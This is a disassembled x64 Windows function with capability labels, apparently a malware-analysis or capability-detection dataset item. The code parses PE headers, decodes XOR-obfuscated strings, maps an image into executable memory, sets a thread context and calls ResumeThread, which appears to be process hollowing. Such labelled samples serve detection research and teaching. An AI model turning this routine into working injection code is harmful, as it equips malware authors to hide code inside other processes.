Function at 0x1401663b0
Capabilities:
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xe8
lea rbp, [rsp + 0x120]
xorps xmm4, xmm4
movups xmmword [rbp - 0x68], xmm4
xor eax, eax
mov qword [rbp - 0x58], rax
call fcn.140001507
mov rsi, rax
mov qword [rbp - 0x90], rsi
mov rdi, qword [rsi]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x140166409
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x14016640c
xor r14d, r14d
call fcn.1400014ff
mov r15, rax
mov qword [rbp - 0x88], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x140166437
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x140166440
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x140166449
mov eax, dword [r14]
jmp 0x14016644d
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x140166b3e
call fcn.14019bad0
cmp eax, 8
je 0x140166469
mov ecx, 0x40
jmp 0x14016646e
mov ecx, 0x60
call fcn.140166c80
mov rdi, rax
call fcn.14019bad0
cmp eax, 8
je 0x140166487
mov ecx, 0x10
jmp 0x14016648c
mov ecx, 0x18
movsxd rcx, ecx
call fcn.1400fc610
mov qword [rbp - 0x40], rax
call fcn.140002491
mov rbx, qword [rax + 8]
mov qword [rbp - 0x70], rbx
lea r13, [0x14030a0f0]
lea rcx, [0x1402a0108]
mov edx, 0xc
call fcn.140003e70
mov rcx, rax
xor r8d, r8d
mov rbx, qword [rbp - 0x70]
mov r9d, r8d
lea rax, [0x14031f0f8]
movzx r10d, word [rax + r9*2 + 0xc]
mov r11d, dword [r13 + 8]
mov eax, r8d
cdq
idiv r11d
cmp edx, r11d
jae 0x140166594
mov eax, edx
movzx eax, word [r13 + rax*2 + 0xc]
xor eax, r10d
mov word [rcx + r9*2 + 0x10], ax
inc r8d
cmp r8d, 0xc
jl 0x1401664c7
call fcn.14008b330
mov r13, rax
lea rax, [0x14030a5e0]
mov qword [rbp - 0x80], rax
lea rcx, [0x1402a0108]
mov edx, 0xe
call fcn.140003e70
mov rcx, rax
xor r8d, r8d
mov qword [rbp - 0x70], rbx
mov r9d, r8d
lea rax, [0x140319a00]
movzx r10d, word [rax + r9*2 + 0xc]
mov r11, qword [rbp - 0x80]
mov edx, dword [r11 + 8]
mov ebx, edx
mov eax, r8d
cdq
idiv ebx
cmp edx, ebx
jae 0x140166594
mov eax, edx
movzx eax, word [r11 + rax*2 + 0xc]
xor eax, r10d
mov word [rcx + r9*2 + 0x10], ax
inc r8d
cmp r8d, 0xe
mov qword [rbp - 0x80], r11
jl 0x140166533
mov rbx, qword [rbp - 0x70]
call fcn.14008b330
mov qword [rbp - 0x78], rax
mov rcx, r13
call fcn.140164150
test rax, rax
jne 0x140166599
xor r13d, r13d
jmp 0x1401665a8
call fcn.14011ec20
mov rcx, rax
mov rdx, qword [rbp - 0x78]
call fcn.140164240
mov r13, rax
test r13, r13
je 0x1401668cc
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r13
mov rcx, rbx
lea rdx, [0x14030a008]
xor r8d, r8d
xor r9d, r9d
call fcn.140076b30
test eax, eax
je 0x1401668cc
test rdi, 0xffffffffffff0000
je 0x140166630
mov rcx, rdi
mov qword [rbp - 0x98], rcx
lea rcx, [rbp - 0xc0]
call fcn.1400041c0
mov rcx, qword [rbp - 0x98]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xc0]
call fcn.140004210
mov r15, qword [rbp - 0x88]
cmp byte [r15], 0
jne 0x140166a3c
mov eax, dword [r14 + 0x34]
mov edi, eax
mov rax, qword [rbp - 0x40]
mov rbx, qword [rax]
mov r13, rax
call fcn.14019bad0
cmp eax, 8
je 0x140166a46
mov ecx, 4
movsxd rcx, ecx
mov r13, qword [rcx + r13]
mov rcx, rbx
mov rdx, rdi
call fcn.140166db0
test rbx, rbx
je 0x140166a0e
test r13, r13
je 0x140166a0e
movzx ecx, byte [r15]
test ecx, ecx
jne 0x140166a50
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x140166a5a
mov eax, dword [r14 + 0x54]
mov dword [rbp - 0x44], eax
test ecx, ecx
jne 0x140166a64
movzx edx, word [r14 + 6]
movzx r10d, dx
mov dword [rbp - 0x48], r10d
test ecx, ecx
jne 0x140166a6f
mov r11d, dword [r14 + 0x28]
mov dword [rbp - 0x4c], r11d
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov rdx, rdi
mov r9d, 0x3000
call fcn.140164820
mov rdi, rax
mov rsi, qword [rbp - 0x90]
mov r8, qword [rsi]
xor ecx, ecx
mov dword [rbp - 0x58], ecx
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov rdx, rdi
mov r9d, dword [rbp - 0x44]
call fcn.140166e20
test eax, eax
jne 0x1401669e0
cmp byte [r15], 0
jne 0x140166a79
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x48], 0
jle 0x140166778
mov ecx, dword [r14 + 0xc]
mov edx, ecx
add rdx, rdi
mov r8, qword [rsi]
mov ecx, dword [r14 + 0x14]
add r8, rcx
mov r9d, dword [r14 + 0x10]
xor ecx, ecx
mov dword [rbp - 0x58], ecx
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call fcn.140166e20
test eax, eax
jne 0x1401669b2
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x48]
cmp r12d, ecx
mov dword [rbp - 0x48], ecx
jl 0x140166731
cmp byte [r15], 0
jne 0x140166a86
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.1400fc610
mov rsi, rax
cmp byte [r15], 0
je 0x140166a90
mov dword [rsi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x140166a9b
mov rcx, r13
mov rdx, rsi
call fcn.140164400
test eax, eax
je 0x140166984
mov r14d, dword [rsi + 0xa4]
mov r12, qword [rsi + 0x88]
mov rcx, rdi
call fcn.140095130
cmp byte [r15], 0
jne 0x140166ab3
add r14d, 8
movsxd rdx, r14d
mov r9d, dword [rax + 8]
xor ecx, ecx
mov qword [rbp - 0x68], rcx
mov dword [rbp - 0x58], ecx
mov qword [rbp - 0x68], rax
mov rcx, qword [rbp - 0x68]
cmp dword [rcx + 8], 0
jne 0x140166abd
xor r8d, r8d
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call fcn.140166e20
xor ecx, ecx
test eax, eax
sete cl
xor edx, edx
mov qword [rbp - 0x68], rdx
test ecx, ecx
je 0x140166928
cmp byte [r15], 0
je 0x140166ad9
mov r14d, dword [rbp - 0x4c]
mov ecx, r14d
add rcx, rdi
mov qword [rsi + 0x80], rcx
cmp byte [r15], 0
jne 0x140166aef
mov rcx, r13
mov rdx, rsi
call fcn.140164340
test eax, eax
je 0x1401668fa
mov rcx, r13
mov qword [rbp - 0x98], rcx
lea rcx, [rbp - 0xc0]
call fcn.1400041c0
mov rcx, qword [rbp - 0x98]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xc0]
call fcn.140004210
mov qword [rbp - 0x60], rbx
jmp 0x140166b1d
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x140314a88]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x140314808]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x140314a88]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x140314b40]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x1403148b8]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x140314928]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x140314bc8]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x140314ad8]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
lea rdx, [0x140314850]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
mov rdi, qword [r12 + 0x30]
jmp 0x140166647
mov ecx, 8
jmp 0x140166664
mov r8d, dword [r12 + 0x50]
jmp 0x140166698
mov eax, dword [r12 + 0x54]
jmp 0x1401666a4
movzx edx, word [r12 + 6]
jmp 0x1401666b4
mov r11d, dword [r12 + 0x28]
jmp 0x1401666c8
lea r14, [r12 + 0x108]
jmp 0x140166728
mov ecx, 0x4d0
jmp 0x140166787
mov dword [rsi], 0x10002
jmp 0x1401667a3
mov rcx, r13
mov rdx, rsi
call fcn.140164460
test eax, eax
je 0x140166956
jmp 0x1401667c0
lea rdx, [r12 + 0x10]
jmp 0x1401667e7
mov r8, qword [rbp - 0x68]
cmp dword [r8 + 8], 0
jbe 0x140166594
mov r8, qword [rbp - 0x68]
add r8, 0x10
jmp 0x140166809
mov r14d, dword [rbp - 0x4c]
mov ecx, r14d
add rcx, rdi
mov qword [rsi + 0xb0], rcx
jmp 0x14016684a
mov rcx, r13
mov rdx, rsi
call fcn.1401643a0
test eax, eax
je 0x14016689e
jmp 0x140166867
mov rcx, rsp
call fcn.140166bc1
nop
mov rax, qword [rbp - 0x60]
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x140259ce8]
call fcn.140003d50
mov rsi, rax
mov rcx, rsi
call fcn.1400911e0
lea rcx, [rsi + 8]
lea rdx, [0x140316410]
call fcn.140004060
mov rcx, rsi
call fcn.140004c60
xor eax, eax
jmp 0x140166b2a